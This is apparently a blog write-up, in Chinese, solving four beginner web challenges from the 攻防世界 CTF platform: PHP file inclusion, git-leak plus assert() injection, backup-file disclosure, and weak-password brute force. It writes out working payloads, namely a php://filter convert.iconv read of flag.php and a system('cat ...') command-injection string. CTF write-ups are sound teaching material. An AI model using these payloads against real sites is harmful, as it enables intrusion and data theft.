攻防世界ctf

1.题目名称-文件包含

php 复制代码
  if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }

通过代码审计,我们发现这存在文件包含漏洞,由于没有很好的进行过滤,所以我们可以通过 URL 参数传递任意文件路径给参数$filename,也就是可以构造恶意代码

1.首先尝试filter协议访问数据流

PHP伪协议filter详解

显示do not hack

尝试了data伪协议和file伪协议都显示 do not hack

说明进行了很严格的过滤,那我们要想办法绕过。参考官方,提示使用 convert.iconv.[]过滤器绕过,[]中支持以下字符编码

依次构造payload

html 复制代码
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4*/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4BE/resource=/var/www/html/flag.php
http://61.147.171.105:49280/index.php?filename=php://filter//convert.iconv.UCS-4LE*/resource=/var/www/html/flag.php

依次进行尝试 ,只有UCS-4*是没有报出错误信息的

再结合一下filter协议读取数据,得到flag

2.mfw

打开题目,会有三个网页,我们查看其他网页发现了这个提示

在CTF比赛中,我们需要收集的信息有以下几类:

服务器信息

敏感目录

敏感文件

而在实战中,我们还可能需要收集更多的信息来找到渗透的突破口,比如开放的端口,使用的CDN,是否有泄漏的源码

我们看到了敏感目录git,就要想到git目录泄露

通过泄露的敏感目录,我们可以获取服务器路径、url甚至直接获取网站源码

尝试查看敏感信息文件

下载备份文件后找到核心代码

php 复制代码
<?php
 
if (isset($_GET['page'])) {  
	$page = $_GET['page'];
} else {    //为空输出page=home
	$page = "home";
}
 
$file = "templates/" . $page . ".php";
 
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");  
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
 
?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

file = "templates/" . page . ".php";

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果要最终找flag需要绕过 ,参考大佬的思维可以用// 将后面的内容注释掉,并用')来与strpos()函数的前半部分('templates/进行闭合。

构造payload: /?page=');//

这个显示不行,不过在下载文件时我们已经知道了flag文件的路径,所以可以直接构造payload

/?page=').system('cat+./templates/flag.php');//

查看源码,拿到flag(当没有显示,或者网页发生变化时记得查看源码哦)

3.backup

index.php 文件通常是 Web 应用程序的入口点(入口文件)。当用户访问网站的根目录时,Web 服务器会自动加载并执行 index.php 文件。它负责处理用户的请求,并根据请求的内容返回相应的响应。

题目很明显提示了备份文件

常见的备份文件扩展名,我们依次进行查看

备份文件.bak直接下载了一个备份文件。

查看一下得到flag

4.weak_auth

根据提示,小宁随手写了一个密码 。测试一下登录和注册,这是一个密码安全强度弱的登录页面。我们可以尝试用burpsuit暴力破解

先抓包然后发送到intruder

在burp中导入字典进行爆破

有两个密码显示不一样,尝试一下得到密码123456.,然后登录得到flag

相关推荐
ljh5746491198 小时前
PhpStorm 2022.3 版本中,修改使用 Git 提交时看到弹出式的对话框模式
ide·git·php·phpstorm
Fnetlink19 小时前
中小企业网络环境优化与安全建设
网络·安全·web安全
G311354227310 小时前
Linux 内核设计中的核心思想与架构原则
linux·架构·php
Neolnfra11 小时前
任意文件下载漏洞
计算机网络·安全·web安全·网络安全·系统安全·安全威胁分析·安全架构
catchadmin13 小时前
PHP 值对象实战指南:避免原始类型偏执
android·开发语言·php
前端不太难16 小时前
RN Hooks 设计规范与反模式清单
开发语言·php·设计规范
Neolnfra16 小时前
RCE(远程命令执行)漏洞全解析:从原理到实战
安全·web安全·http·网络安全·https·系统安全·可信计算技术
weixin_4209476417 小时前
php composer update 指定包的分支非tag
开发语言·php·composer
m0_7381207218 小时前
渗透测试——靶机DC-4详细渗透教程
运维·网络·安全·web安全·php
Neolnfra18 小时前
文件包含漏洞终极指南
开发语言·安全·web安全·网络安全·系统安全·php·可信计算技术